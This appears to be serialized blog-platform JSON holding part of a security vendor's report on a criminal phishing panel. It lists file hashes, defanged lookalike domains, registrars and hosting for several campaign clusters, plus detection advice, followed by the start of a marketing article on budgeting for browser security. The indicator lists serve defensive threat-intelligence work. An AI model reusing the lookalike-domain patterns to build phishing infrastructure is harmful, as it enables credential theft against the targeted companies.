leaks.",{"data":24353,"content":24354,"nodeType":2396},{},[24355,24378,24421,24443,24478,24521,24543,24565],{"data":24356,"content":24357,"nodeType":1869},{},[24358,24368],{"data":24359,"content":24360,"nodeType":1835},{},[24361],{"data":24362,"content":24363,"nodeType":866},{},[24364],{"data":24365,"marks":24366,"value":24087,"nodeType":865},{},[24367],{"type":961},{"data":24369,"content":24370,"nodeType":1835},{},[24371],{"data":24372,"content":24373,"nodeType":866},{},[24374],{"data":24375,"marks":24376,"value":23710,"nodeType":865},{},[24377],{"type":961},{"data":24379,"content":24380,"nodeType":1869},{},[24381,24390],{"data":24382,"content":24383,"nodeType":1835},{},[24384],{"data":24385,"content":24386,"nodeType":866},{},[24387],{"data":24388,"marks":24389,"value":23612,"nodeType":865},{},[],{"data":24391,"content":24392,"nodeType":1835},{},[24393,24400,24407,24414],{"data":24394,"content":24395,"nodeType":866},{},[24396],{"data":24397,"marks":24398,"value":24399,"nodeType":865},{},[],"c0df36ccf88d5c8434b13b58f7a55a9715643a126148b9d078a93075d09cad26",{"data":24401,"content":24402,"nodeType":866},{},[24403],{"data":24404,"marks":24405,"value":24406,"nodeType":865},{},[],"d178dc7108fa9344dae28e350e810352e9e874563496dc7876ee628b11b0eabb",{"data":24408,"content":24409,"nodeType":866},{},[24410],{"data":24411,"marks":24412,"value":24413,"nodeType":865},{},[],"9c0939960e49122196e44b6779fe55dd7a13ab437ce251c8cf35f8c6daf8be21",{"data":24415,"content":24416,"nodeType":866},{},[24417],{"data":24418,"marks":24419,"value":24420,"nodeType":865},{},[],"e8128b33259f7ea4313c942689ba0ba557f17b1474f2e621c62a5b77674fab86",{"data":24422,"content":24423,"nodeType":1869},{},[24424,24433],{"data":24425,"content":24426,"nodeType":1835},{},[24427],{"data":24428,"content":24429,"nodeType":866},{},[24430],{"data":24431,"marks":24432,"value":24139,"nodeType":865},{},[],{"data":24434,"content":24435,"nodeType":1835},{},[24436],{"data":24437,"content":24438,"nodeType":866},{},[24439],{"data":24440,"marks":24441,"value":24442,"nodeType":865},{},[],"January 2026",{"data":24444,"content":24445,"nodeType":1869},{},[24446,24455],{"data":24447,"content":24448,"nodeType":1835},{},[24449],{"data":24450,"content":24451,"nodeType":866},{},[24452],{"data":24453,"marks":24454,"value":24162,"nodeType":865},{},[],{"data":24456,"content":24457,"nodeType":1835},{},[24458,24465,24472],{"data":24459,"content":24460,"nodeType":866},{},[24461],{"data":24462,"marks":24463,"value":24464,"nodeType":865},{},[],"\u003Ctarget>internal.com",{"data":24466,"content":24467,"nodeType":866},{},[24468],{"data":24469,"marks":24470,"value":24471,"nodeType":865},{},[],"\u003Ctarget>sso.com",{"data":24473,"content":24474,"nodeType":866},{},[24475],{"data":24476,"marks":24477,"value":24200,"nodeType":865},{},[],{"data":24479,"content":24480,"nodeType":1869},{},[24481,24490],{"data":24482,"content":24483,"nodeType":1835},{},[24484],{"data":24485,"content":24486,"nodeType":866},{},[24487],{"data":24488,"marks":24489,"value":24213,"nodeType":865},{},[],{"data":24491,"content":24492,"nodeType":1835},{},[24493,24500,24507,24514],{"data":24494,"content":24495,"nodeType":866},{},[24496],{"data":24497,"marks":24498,"value":24499,"nodeType":865},{},[],"epicgamessso[.]com (December 2025)",{"data":24501,"content":24502,"nodeType":866},{},[24503],{"data":24504,"marks":24505,"value":24506,"nodeType":865},{},[],"myadyeninternal[.]com (January 2026)",{"data":24508,"content":24509,"nodeType":866},{},[24510],{"data":24511,"marks":24512,"value":24513,"nodeType":865},{},[],"mysonossso[.]com (January 2026)",{"data":24515,"content":24516,"nodeType":866},{},[24517],{"data":24518,"marks":24519,"value":24520,"nodeType":865},{},[],"sonosinternal[.]com (January 2026)",{"data":24522,"content":24523,"nodeType":1869},{},[24524,24533],{"data":24525,"content":24526,"nodeType":1835},{},[24527],{"data":24528,"content":24529,"nodeType":866},{},[24530],{"data":24531,"marks":24532,"value":24257,"nodeType":865},{},[],{"data":24534,"content":24535,"nodeType":1835},{},[24536],{"data":24537,"content":24538,"nodeType":866},{},[24539],{"data":24540,"marks":24541,"value":24542,"nodeType":865},{},[],"Tucows",{"data":24544,"content":24545,"nodeType":1869},{},[24546,24555],{"data":24547,"content":24548,"nodeType":1835},{},[24549],{"data":24550,"content":24551,"nodeType":866},{},[24552],{"data":24553,"marks":24554,"value":24280,"nodeType":865},{},[],{"data":24556,"content":24557,"nodeType":1835},{},[24558],{"data":24559,"content":24560,"nodeType":866},{},[24561],{"data":24562,"marks":24563,"value":24564,"nodeType":865},{},[],"Njalla",{"data":24566,"content":24567,"nodeType":1869},{},[24568,24577],{"data":24569,"content":24570,"nodeType":1835},{},[24571],{"data":24572,"content":24573,"nodeType":866},{},[24574],{"data":24575,"marks":24576,"value":24303,"nodeType":865},{},[],{"data":24578,"content":24579,"nodeType":1835},{},[24580],{"data":24581,"content":24582,"nodeType":866},{},[24583],{"data":24584,"marks":24585,"value":24586,"nodeType":865},{},[],"Njalla (AS39287)",{"data":24588,"content":24589,"nodeType":1458},{},[24590],{"data":24591,"marks":24592,"value":24593,"nodeType":865},{},[],"Cluster C",{"data":24595,"content":24596,"nodeType":866},{},[24597],{"data":24598,"marks":24599,"value":24600,"nodeType":865},{},[],"Cluster C is likely an evolution of Cluster B. Some evidence has been observed tying the backend hosting to Njalla behind the Cloudflare CDN further solidifying the link. The shift to Cloudflare Turnstile protection and subdomain-based targeting represents an operational refinement — moving away from the distinctive [target]internal[.]com pattern that had become a well-known campaign indicator.",{"data":24602,"content":24603,"nodeType":2396},{},[24604,24628,24650,24672,24694,24737,24758,24780],{"data":24605,"content":24606,"nodeType":1869},{},[24607,24617],{"data":24608,"content":24609,"nodeType":1835},{},[24610],{"data":24611,"content":24612,"nodeType":866},{},[24613],{"data":24614,"marks":24615,"value":24087,"nodeType":865},{},[24616],{"type":961},{"data":24618,"content":24619,"nodeType":1835},{},[24620],{"data":24621,"content":24622,"nodeType":866},{},[24623],{"data":24624,"marks":24625,"value":24627,"nodeType":865},{},[24626],{"type":961},"heartbeat/check_redirect variant protected with Cloudflare turnstile",{"data":24629,"content":24630,"nodeType":1869},{},[24631,24640],{"data":24632,"content":24633,"nodeType":1835},{},[24634],{"data":24635,"content":24636,"nodeType":866},{},[24637],{"data":24638,"marks":24639,"value":23612,"nodeType":865},{},[],{"data":24641,"content":24642,"nodeType":1835},{},[24643],{"data":24644,"content":24645,"nodeType":866},{},[24646],{"data":24647,"marks":24648,"value":24649,"nodeType":865},{},[],"cb1d409278b2247af23e7b00ac779b232baaf4ce5f63fdf5ebc3920a38cc6102",{"data":24651,"content":24652,"nodeType":1869},{},[24653,24662],{"data":24654,"content":24655,"nodeType":1835},{},[24656],{"data":24657,"content":24658,"nodeType":866},{},[24659],{"data":24660,"marks":24661,"value":24139,"nodeType":865},{},[],{"data":24663,"content":24664,"nodeType":1835},{},[24665],{"data":24666,"content":24667,"nodeType":866},{},[24668],{"data":24669,"marks":24670,"value":24671,"nodeType":865},{},[],"March 2026 - present (April 2026)",{"data":24673,"content":24674,"nodeType":1869},{},[24675,24684],{"data":24676,"content":24677,"nodeType":1835},{},[24678],{"data":24679,"content":24680,"nodeType":866},{},[24681],{"data":24682,"marks":24683,"value":24162,"nodeType":865},{},[],{"data":24685,"content":24686,"nodeType":1835},{},[24687],{"data":24688,"content":24689,"nodeType":866},{},[24690],{"data":24691,"marks":24692,"value":24693,"nodeType":865},{},[],"\u003Ctarget> subdomain with generic “sso”, “passkey”, “enroll”, “okta” theme root domain",{"data":24695,"content":24696,"nodeType":1869},{},[24697,24706],{"data":24698,"content":24699,"nodeType":1835},{},[24700],{"data":24701,"content":24702,"nodeType":866},{},[24703],{"data":24704,"marks":24705,"value":24213,"nodeType":865},{},[],{"data":24707,"content":24708,"nodeType":1835},{},[24709,24716,24723,24730],{"data":24710,"content":24711,"nodeType":866},{},[24712],{"data":24713,"marks":24714,"value":24715,"nodeType":865},{},[],"\u003Ctarget>.passkeysetup.com (March 2026)",{"data":24717,"content":24718,"nodeType":866},{},[24719],{"data":24720,"marks":24721,"value":24722,"nodeType":865},{},[],"\u003Ctarget>.enrollms.com (March 2026)",{"data":24724,"content":24725,"nodeType":866},{},[24726],{"data":24727,"marks":24728,"value":24729,"nodeType":865},{},[],"\u003Ctarget>.keyokta.com (April 2026)",{"data":24731,"content":24732,"nodeType":866},{},[24733],{"data":24734,"marks":24735,"value":24736,"nodeType":865},{},[],"\u003Ctarget>.passkeywork.com (April 2026)",{"data":24738,"content":24739,"nodeType":1869},{},[24740,24749],{"data":24741,"content":24742,"nodeType":1835},{},[24743],{"data":24744,"content":24745,"nodeType":866},{},[24746],{"data":24747,"marks":24748,"value":24257,"nodeType":865},{},[],{"data":24750,"content":24751,"nodeType":1835},{},[24752],{"data":24753,"content":24754,"nodeType":866},{},[24755],{"data":24756,"marks":24757,"value":24542,"nodeType":865},{},[],{"data":24759,"content":24760,"nodeType":1869},{},[24761,24770],{"data":24762,"content":24763,"nodeType":1835},{},[24764],{"data":24765,"content":24766,"nodeType":866},{},[24767],{"data":24768,"marks":24769,"value":24280,"nodeType":865},{},[],{"data":24771,"content":24772,"nodeType":1835},{},[24773],{"data":24774,"content":24775,"nodeType":866},{},[24776],{"data":24777,"marks":24778,"value":24779,"nodeType":865},{},[],"Cloudflare",{"data":24781,"content":24782,"nodeType":1869},{},[24783,24792],{"data":24784,"content":24785,"nodeType":1835},{},[24786],{"data":24787,"content":24788,"nodeType":866},{},[24789],{"data":24790,"marks":24791,"value":24303,"nodeType":865},{},[],{"data":24793,"content":24794,"nodeType":1835},{},[24795],{"data":24796,"content":24797,"nodeType":866},{},[24798],{"data":24799,"marks":24800,"value":24801,"nodeType":865},{},[],"Cloudflare (AS13335)",{"data":24803,"content":24804,"nodeType":1458},{},[24805],{"data":24806,"marks":24807,"value":24808,"nodeType":865},{},[],"Cluster D",{"data":24810,"content":24811,"nodeType":2396},{},[24812,24836,24858,24880,24902,24931,24952,24973],{"data":24813,"content":24814,"nodeType":1869},{},[24815,24825],{"data":24816,"content":24817,"nodeType":1835},{},[24818],{"data":24819,"content":24820,"nodeType":866},{},[24821],{"data":24822,"marks":24823,"value":24087,"nodeType":865},{},[24824],{"type":961},{"data":24826,"content":24827,"nodeType":1835},{},[24828],{"data":24829,"content":24830,"nodeType":866},{},[24831],{"data":24832,"marks":24833,"value":24835,"nodeType":865},{},[24834],{"type":961},"heartbeat/check_redirect variant (minified)",{"data":24837,"content":24838,"nodeType":1869},{},[24839,24848],{"data":24840,"content":24841,"nodeType":1835},{},[24842],{"data":24843,"content":24844,"nodeType":866},{},[24845],{"data":24846,"marks":24847,"value":23612,"nodeType":865},{},[],{"data":24849,"content":24850,"nodeType":1835},{},[24851],{"data":24852,"content":24853,"nodeType":866},{},[24854],{"data":24855,"marks":24856,"value":24857,"nodeType":865},{},[],"9d65dd34384b441505e6b67647153c02d5c367bb53da36ce36a392e70b37940a",{"data":24859,"content":24860,"nodeType":1869},{},[24861,24870],{"data":24862,"content":24863,"nodeType":1835},{},[24864],{"data":24865,"content":24866,"nodeType":866},{},[24867],{"data":24868,"marks":24869,"value":24139,"nodeType":865},{},[],{"data":24871,"content":24872,"nodeType":1835},{},[24873],{"data":24874,"content":24875,"nodeType":866},{},[24876],{"data":24877,"marks":24878,"value":24879,"nodeType":865},{},[],"April 2026 (low volume)",{"data":24881,"content":24882,"nodeType":1869},{},[24883,24892],{"data":24884,"content":24885,"nodeType":1835},{},[24886],{"data":24887,"content":24888,"nodeType":866},{},[24889],{"data":24890,"marks":24891,"value":24162,"nodeType":865},{},[],{"data":24893,"content":24894,"nodeType":1835},{},[24895],{"data":24896,"content":24897,"nodeType":866},{},[24898],{"data":24899,"marks":24900,"value":24901,"nodeType":865},{},[],"\u003Ctarget> subdomain with generic “passkey”, “portal”, “okta” theme root domain",{"data":24903,"content":24904,"nodeType":1869},{},[24905,24914],{"data":24906,"content":24907,"nodeType":1835},{},[24908],{"data":24909,"content":24910,"nodeType":866},{},[24911],{"data":24912,"marks":24913,"value":24213,"nodeType":865},{},[],{"data":24915,"content":24916,"nodeType":1835},{},[24917,24924],{"data":24918,"content":24919,"nodeType":866},{},[24920],{"data":24921,"marks":24922,"value":24923,"nodeType":865},{},[],"\u003Ctarget>.passkeyportalsetup.com",{"data":24925,"content":24926,"nodeType":866},{},[24927],{"data":24928,"marks":24929,"value":24930,"nodeType":865},{},[],"\u003Ctarget>.addoktapasskey.com",{"data":24932,"content":24933,"nodeType":1869},{},[24934,24943],{"data":24935,"content":24936,"nodeType":1835},{},[24937],{"data":24938,"content":24939,"nodeType":866},{},[24940],{"data":24941,"marks":24942,"value":24257,"nodeType":865},{},[],{"data":24944,"content":24945,"nodeType":1835},{},[24946],{"data":24947,"content":24948,"nodeType":866},{},[24949],{"data":24950,"marks":24951,"value":24267,"nodeType":865},{},[],{"data":24953,"content":24954,"nodeType":1869},{},[24955,24964],{"data":24956,"content":24957,"nodeType":1835},{},[24958],{"data":24959,"content":24960,"nodeType":866},{},[24961],{"data":24962,"marks":24963,"value":24280,"nodeType":865},{},[],{"data":24965,"content":24966,"nodeType":1835},{},[24967],{"data":24968,"content":24969,"nodeType":866},{},[24970],{"data":24971,"marks":24972,"value":24779,"nodeType":865},{},[],{"data":24974,"content":24975,"nodeType":1869},{},[24976,24985],{"data":24977,"content":24978,"nodeType":1835},{},[24979],{"data":24980,"content":24981,"nodeType":866},{},[24982],{"data":24983,"marks":24984,"value":24303,"nodeType":865},{},[],{"data":24986,"content":24987,"nodeType":1835},{},[24988],{"data":24989,"content":24990,"nodeType":866},{},[24991],{"data":24992,"marks":24993,"value":24801,"nodeType":865},{},[],{"data":24995,"content":24996,"nodeType":953},{},[],{"data":24998,"content":24999,"nodeType":963},{},[25000],{"data":25001,"marks":25002,"value":25004,"nodeType":865},{},[25003],{"type":961},"Detection considerations",{"data":25006,"content":25007,"nodeType":866},{},[25008],{"data":25009,"marks":25010,"value":25011,"nodeType":865},{},[],"For Push, the detection approach to these panels is fundamentally the same as for any other phishing kit — behavioral analysis of the rendered page in the browser, regardless of the C2 protocol running underneath. ",{"data":25013,"content":25014,"nodeType":866},{},[25015],{"data":25016,"marks":25017,"value":25018,"nodeType":865},{},[],"The main operational difference is on the operator end, where the human-in-the-loop interaction replaces fully automated credential harvesting. This has implications for defenders relying on proactive infrastructure scanning: the gated landing pages, anti-bot checks, and operator-approval requirements mean the malicious content is only served to active targets, making it significantly harder for automated scanners to discover and flag these domains before they're used against a victim.",{"data":25020,"content":25021,"nodeType":866},{},[25022,25027],{"data":25023,"marks":25024,"value":25026,"nodeType":865},{},[25025],{"type":961},"The phone call as delivery vector eliminates the email-based detection surface that most organizations rely on as their primary phishing defense. ",{"data":25028,"marks":25029,"value":25030,"nodeType":865},{},[],"Operator-gated payload delivery further reduces the likelihood that these sites will be flagged as malicious and added to known-bad detection lists (and in any case, it’s trivial for attackers to spin up new ones). This reinforces the need for browser-based detection at the point the user interacts with the page, analyzing it in real time for malicious content without relying on static IoCs. ",{"data":25032,"content":25033,"nodeType":953},{},[],{"data":25035,"content":25036,"nodeType":963},{},[25037],{"data":25038,"marks":25039,"value":13747,"nodeType":865},{},[25040],{"type":961},{"data":25042,"content":25043,"nodeType":866},{},[25044,25048,25054],{"data":25045,"marks":25046,"value":25047,"nodeType":865},{},[],"Short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to ",{"data":25049,"content":25050,"nodeType":882},{"uri":13757},[25051],{"data":25052,"marks":25053,"value":13762,"nodeType":865},{},[],{"data":25055,"marks":25056,"value":25057,"nodeType":865},{},[]," in the attack chain, often dynamically serving different URLs to site visitors. ",{"data":25059,"content":25060,"nodeType":866},{},[25061,25064,25072],{"data":25062,"marks":25063,"value":21,"nodeType":865},{},[],{"data":25065,"content":25067,"nodeType":882},{"uri":25066},"https://www.virustotal.com/gui/collection/0f745e9da6ef7664444594a7ee930cfe5a9d8bd6c2f039dcde818599b8926610",[25068],{"data":25069,"marks":25070,"value":25071,"nodeType":865},{},[],"The full list of IoCs is on VirusTotal here. ",{"data":25073,"marks":25074,"value":21,"nodeType":865},{},[],{"data":25076,"content":25077,"nodeType":866},{},[25078],{"data":25079,"marks":25080,"value":13704,"nodeType":865},{},[25081],{"type":961},{"data":25083,"content":25084,"nodeType":953},{},[],{"data":25086,"content":25087,"nodeType":963},{},[25088],{"data":25089,"marks":25090,"value":1704,"nodeType":865},{},[25091],{"type":961},{"data":25093,"content":25094,"nodeType":866},{},[25095,25099,25105],{"data":25096,"marks":25097,"value":25098,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.\n\nSecurity teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.\n\nBook a ",{"data":25100,"content":25101,"nodeType":882},{"uri":1728},[25102],{"data":25103,"marks":25104,"value":1734,"nodeType":865},{},[],{"data":25106,"marks":25107,"value":1738,"nodeType":865},{},[],"We infiltrated a criminal phishing panel: here’s what we found","We got an inside look at a phishing panel used in criminal campaigns linked to operators like ShinyHunters and BlackFile. Here’s what we found.","2026-05-07T00:00:00.000Z","inside-criminal-phishing-panel",{"items":25113},[25114,25116],{"sys":25115,"name":11426},{"id":11425},{"sys":25117,"name":342},{"id":8410},{"items":25119},[25120],{"fullName":25121,"firstName":25122,"jobTitle":11432,"profilePicture":25123},"Push Security Research Team","Research",{"url":25124},"https://images.ctfassets.net/y1cdw1ablpvd/7LpkwyXbOZ8WCVTAXzULmC/bfa3634c78ee9dfbee6606ba5519918b/push-round.png","blog/llmshare-malvertising-campaign",{"json":25127},{"data":25128,"content":25129,"nodeType":1739},{},[25130],{"data":25131,"content":25132,"nodeType":866},{},[25133],{"data":25134,"marks":25135,"value":25136,"nodeType":865},{},[],"Attackers are abusing the shared content features of AI chatbot platforms — ChatGPT and Claude — to deliver malware through pages hosted on legitimate, trusted domains, distributing the malicious links via sponsored malvertising ads on search engines. ",{"id":13115,"publishedAt":25138},"2026-08-12T12:00:49.899Z",{"items":25140},[25141,25143],{"sys":25142,"name":11426},{"id":11425},{"sys":25144,"name":342},{"id":8410},{"items":25146},[25147,25149,25151,25153,25155,25157,25159,25161,25163,25165,25167,25169],{"sys":25148,"name":279,"slug":280,"tier":31},{"id":276},{"sys":25150,"name":235,"slug":236,"tier":31},{"id":232},{"sys":25152,"name":519,"slug":520,"tier":31},{"id":516},{"sys":25154,"name":440,"slug":441,"tier":45},{"id":437},{"sys":25156,"name":448,"slug":449,"tier":45},{"id":445},{"sys":25158,"name":315,"slug":316,"tier":45},{"id":312},{"sys":25160,"name":431,"slug":432,"tier":45},{"id":428},{"sys":25162,"name":422,"slug":423,"tier":45},{"id":419},{"sys":25164,"name":244,"slug":245,"tier":45},{"id":241},{"sys":25166,"name":563,"slug":564,"tier":45},{"id":560},{"sys":25168,"name":607,"slug":608,"tier":45},{"id":604},{"sys":25170,"name":475,"slug":476,"tier":45},{"id":472},"IqK0SBDuAwVjeXZ7slErmV4yVzN_7gBWkRubjc6cQw4",{"id":25173,"title":25174,"authorsCollection":25175,"content":25181,"extension":228,"faqItemsCollection":26514,"faqTitle":59,"featured":6,"hashTags":59,"meta":26516,"metaTitle":26517,"ogImage":59,"postType":1783,"publishedDate":13902,"relatedBlogPostsCollection":26518,"slug":28843,"stem":28844,"subtitle":59,"summary":28845,"synopsis":28856,"sys":28857,"tagsCollection":28860,"topicsCollection":28866,"__hash__":28900},"blog/blog/making-the-business-case-for-a-browser-security-solution.json","How to make the business case for a browser security solution",{"items":25176},[25177],{"fullName":5029,"firstName":5030,"jobTitle":3776,"socialLinks":25178,"profilePicture":25180},[25179],"https://www.linkedin.com/in/alexhenshall/",{"url":5032},{"json":25182,"links":26373},{"data":25183,"content":25184,"nodeType":1739},{},[25185,25203,25210,25217,25224,25231,25237,25240,25248,25255,25262,25281,25300,25307,25314,25321,25360,25367,25435,25447,25450,25458,25465,25471,25478,25485,25504,25511,25540,25573,25580,25586,25593,25600,25607,25698,25705,25712,25718,25725,25732,25755,25774,25797,25816,25835,25842,25849,25855,25862,25869,25899,25918,25924,25931,25950,25957,25964,26009,26016,26019,26027,26034,26041,26060,26067,26106,26123,26126,26134,26141,26278,26286,26304,26311,26318,26321,26329,26336,26343,26346,26352,26358],{"data":25186,"content":25187,"nodeType":866},{},[25188,25191,25199],{"data":25189,"marks":25190,"value":21,"nodeType":865},{},[],{"data":25192,"content":25193,"nodeType":882},{"uri":4378},[25194],{"data":25195,"marks":25196,"value":25198,"nodeType":865},{},[25197],{"type":997},"Omdia's 2026 research",{"data":25200,"marks":25201,"value":25202,"nodeType":865},{},[]," found that 86% of organizations have already increased browser security spending in response to emerging threats, and 85% expect to spend more over the next 12–24 months. ",{"data":25204,"content":25205,"nodeType":866},{},[25206],{"data":25207,"marks":25208,"value":25209,"nodeType":865},{},[],"But finding budget for browser security solutions can be harder than it is for other security tools. Both Gartner and Omdia independently confirm that browser security is predominantly additive; Gartner states explicitly that secure enterprise browsers augment rather than replace existing security controls, and Omdia found that 80% of organizations expect to deploy browser security alongside their current stack.",{"data":25211,"content":25212,"nodeType":866},{},[25213],{"data":25214,"marks":25215,"value":25216,"nodeType":865},{},[],"In practice, that means there's typically no legacy line item to redirect or renewal to swap out. Instead, security leaders are left needing to build a business case from scratch, creating more work on top of an already demanding role. Having a proven framework that other security leaders are already using successfully makes that process significantly faster.",{"data":25218,"content":25219,"nodeType":866},{},[25220],{"data":25221,"marks":25222,"value":25223,"nodeType":865},{},[],"Push helps security leaders build these business cases every day and we've seen firsthand what works and where the budget comes from. ",{"data":25225,"content":25226,"nodeType":866},{},[25227],{"data":25228,"marks":25229,"value":25230,"nodeType":865},{},[],"This article distills those patterns into a practical framework you can use to build your own investment case, as well as provides real-world examples of how Push's customers have found budget to make their own investments in browser security tooling:",{"data":25232,"content":25236,"nodeType":925},{"target":25233},{"sys":25234},{"id":25235,"type":922,"linkType":923},"3qR5t9Y5wgRfzGqcRNXfNa",[],{"data":25238,"content":25239,"nodeType":953},{},[],{"data":25241,"content":25242,"nodeType":963},{},[25243],{"data":25244,"marks":25245,"value":25247,"nodeType":865},{},[25246],{"type":961},"The strategic imperatives that resonate with non-security executives",{"data":25249,"content":25250,"nodeType":866},{},[25251],{"data":25252,"marks":25253,"value":25254,"nodeType":865},{},[],"Two distinct strategic initiatives consistently prove to be effective in unlocking browser security budget. They come from different directions; one is driven by the board down to security, the other is driven by security up to the board. But both lead to the same investment and can be used in conjunction with one another.",{"data":25256,"content":25257,"nodeType":1458},{},[25258],{"data":25259,"marks":25260,"value":25261,"nodeType":865},{},[],"Option A | AI visibility and control: the mandate security teams are responding to",{"data":25263,"content":25264,"nodeType":866},{},[25265,25269,25277],{"data":25266,"marks":25267,"value":25268,"nodeType":865},{},[],"AI adoption isn't a security initiative; it's a business strategy decision that executives and boards are driving. They know the organization needs to harness AI to remain competitive, and most have already committed to accelerating its use. But they also know that ",{"data":25270,"content":25272,"nodeType":882},{"uri":25271},"https://pushsecurity.com/blog/what-push-data-reveals-about-the-state-of-shadow-ai/",[25273],{"data":25274,"marks":25275,"value":25276,"nodeType":865},{},[],"adoption without visibility creates risks they can't quantify or manage",{"data":25278,"marks":25279,"value":25280,"nodeType":865},{},[],", and they expect security to have the visibility and controls to close that gap.",{"data":25282,"content":25283,"nodeType":866},{},[25284,25288,25296],{"data":25285,"marks":25286,"value":25287,"nodeType":865},{},[],"The browser is the most practical place for security teams to get that visibility and control over AI usage. All AI tool usage — whether that's web apps, extensions, OAuth consent flows, data uploads — traverses the browser. A browser security platform like Push can ",{"data":25289,"content":25291,"nodeType":882},{"uri":25290},"https://pushsecurity.com/solution/achieve-security-outcomes/secure-ai",[25292],{"data":25293,"marks":25294,"value":25295,"nodeType":865},{},[],"discover which AI tools employees are actually using",{"data":25297,"marks":25298,"value":25299,"nodeType":865},{},[],", monitor how they're being used, track which AI services have been granted access to corporate systems, and enforce policy in real time.",{"data":25301,"content":25302,"nodeType":866},{},[25303],{"data":25304,"marks":25305,"value":25306,"nodeType":865},{},[],"What makes this particularly effective in a budget conversation is that security teams don’t need to explain or sell a new security risk or initiative, instead they're responding to one their executive team has already identified. When security can demonstrate a concrete plan to deliver AI visibility and control, the funding conversation is significantly shorter. The investment addresses the executive mandate while simultaneously providing additional capabilities for the security team like threat protection, identity and shadow IT security, and investigation support.",{"data":25308,"content":25309,"nodeType":1458},{},[25310],{"data":25311,"marks":25312,"value":25313,"nodeType":865},{},[],"Option B | Modern breaches that originate in the browser: the gap the existing stack wasn't designed to cover",{"data":25315,"content":25316,"nodeType":866},{},[25317],{"data":25318,"marks":25319,"value":25320,"nodeType":865},{},[],"The second strategic imperative requires more educating on the part of the security leader.",{"data":25322,"content":25323,"nodeType":866},{},[25324,25328,25334,25338,25345,25349,25356],{"data":25325,"marks":25326,"value":25327,"nodeType":865},{},[],"The highest-profile breaches in recent years — MGM, Caesars, Ticketmaster, M&S, Jaguar Land Rover — were all carried out by threat groups like ",{"data":25329,"content":25330,"nodeType":882},{"uri":8759},[25331],{"data":25332,"marks":25333,"value":8764,"nodeType":865},{},[],{"data":25335,"marks":25336,"value":25337,"nodeType":865},{},[]," using cloud-native, ",{"data":25339,"content":25340,"nodeType":882},{"uri":3620},[25341],{"data":25342,"marks":25343,"value":25344,"nodeType":865},{},[],"identity-based attack techniques",{"data":25346,"marks":25347,"value":25348,"nodeType":865},{},[],". They didn't compromise endpoints or exploit zero-day vulnerabilities. Instead, they compromised employees' cloud app accounts by targeting them with techniques that ",{"data":25350,"content":25351,"nodeType":882},{"uri":5636},[25352],{"data":25353,"marks":25354,"value":25355,"nodeType":865},{},[],"play out inside browser sessions",{"data":25357,"marks":25358,"value":25359,"nodeType":865},{},[]," where existing endpoint, network, and email controls have no visibility.",{"data":25361,"content":25362,"nodeType":866},{},[25363],{"data":25364,"marks":25365,"value":25366,"nodeType":865},{},[],"That doesn't mean your existing security investments are failing. Endpoint, network, and email controls have become effective enough that threat groups are now actively avoiding them by rerouting their attacks via the browser.",{"data":25368,"content":25369,"nodeType":1049},{},[25370,25391,25413],{"data":25371,"content":25372,"nodeType":1003},{},[25373],{"data":25374,"content":25375,"nodeType":866},{},[25376,25379,25387],{"data":25377,"marks":25378,"value":21,"nodeType":865},{},[],{"data":25380,"content":25381,"nodeType":882},{"uri":11061},[25382],{"data":25383,"marks":25384,"value":25386,"nodeType":865},{},[25385],{"type":997},"CrowdStrike's 2026 data",{"data":25388,"marks":25389,"value":25390,"nodeType":865},{},[]," shows 82% of attack detections are now malware-free. A new capability is needed to address this new playbook, and browser security closes that gap by detecting attacker behavior inside the session, where these attacks actually execute.",{"data":25392,"content":25393,"nodeType":1003},{},[25394],{"data":25395,"content":25396,"nodeType":866},{},[25397,25400,25409],{"data":25398,"marks":25399,"value":21,"nodeType":865},{},[],{"data":25401,"content":25403,"nodeType":882},{"uri":25402},"https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/",[25404],{"data":25405,"marks":25406,"value":25408,"nodeType":865},{},[25407],{"type":997},"Unit 42",{"data":25410,"marks":25411,"value":25412,"nodeType":865},{},[]," found that identity weaknesses played a material role in almost 90% of their investigations, and across more than 750 incident response engagements, 48% involved browser-based activity.",{"data":25414,"content":25415,"nodeType":1003},{},[25416],{"data":25417,"content":25418,"nodeType":866},{},[25419,25422,25431],{"data":25420,"marks":25421,"value":21,"nodeType":865},{},[],{"data":25423,"content":25425,"nodeType":882},{"uri":25424},"https://services.google.com/fh/files/misc/m-trends-2025-en.pdf",[25426],{"data":25427,"marks":25428,"value":25430,"nodeType":865},{},[25429],{"type":997},"Mandiant's data",{"data":25432,"marks":25433,"value":25434,"nodeType":865},{},[]," tells a similar story: threat actors exploited identity issues to gain initial access in 83% of incidents involving cloud and SaaS environments.",{"data":25436,"content":25437,"nodeType":866},{},[25438,25443],{"data":25439,"marks":25440,"value":25442,"nodeType":865},{},[25441],{"type":961},"Identity-based attacks executed via the browser are now the dominant attack pattern.",{"data":25444,"marks":25445,"value":25446,"nodeType":865},{},[]," That framing works in a budget conversation because it identifies a gap rather than asking to improve something that's already covered by an existing solution. It's also reinforced by the fact that the breaches and groups behind them like Scattered Spider were all reported on by the mainstream media, meaning non-security stakeholders are likely to already be somewhat aware of the risks and potential implications of them being realized.",{"data":25448,"content":25449,"nodeType":953},{},[],{"data":25451,"content":25452,"nodeType":963},{},[25453],{"data":25454,"marks":25455,"value":25457,"nodeType":865},{},[25456],{"type":961},"The economic case: five value drivers",{"data":25459,"content":25460,"nodeType":866},{},[25461],{"data":25462,"marks":25463,"value":25464,"nodeType":865},{},[],"Those strategic imperatives establish why something needs to be done, but they don't quantify the cost of inaction or demonstrate how the investment pays for itself. A CFO wants to see where the money comes from, what existing spend it offsets, and what measurable return it delivers. The economic investment case draws on five distinct value drivers, each grounded in capabilities specific to operating inside the browser session.",{"data":25466,"content":25470,"nodeType":925},{"target":25467},{"sys":25468},{"id":25469,"type":922,"linkType":923},"2W1G5GZWXLbo2hi6bTxAVs",[],{"data":25472,"content":25473,"nodeType":1458},{},[25474],{"data":25475,"marks":25476,"value":25477,"nodeType":865},{},[],"1. Avoided breach costs",{"data":25479,"content":25480,"nodeType":866},{},[25481],{"data":25482,"marks":25483,"value":25484,"nodeType":865},{},[],"This is the largest single value driver, but it's also the hardest to measure because the return is defined by the absence of an event rather than the presence of a saving. That said, the methodology is well-established in risk management, and CFOs already accept this logic for insurance and business 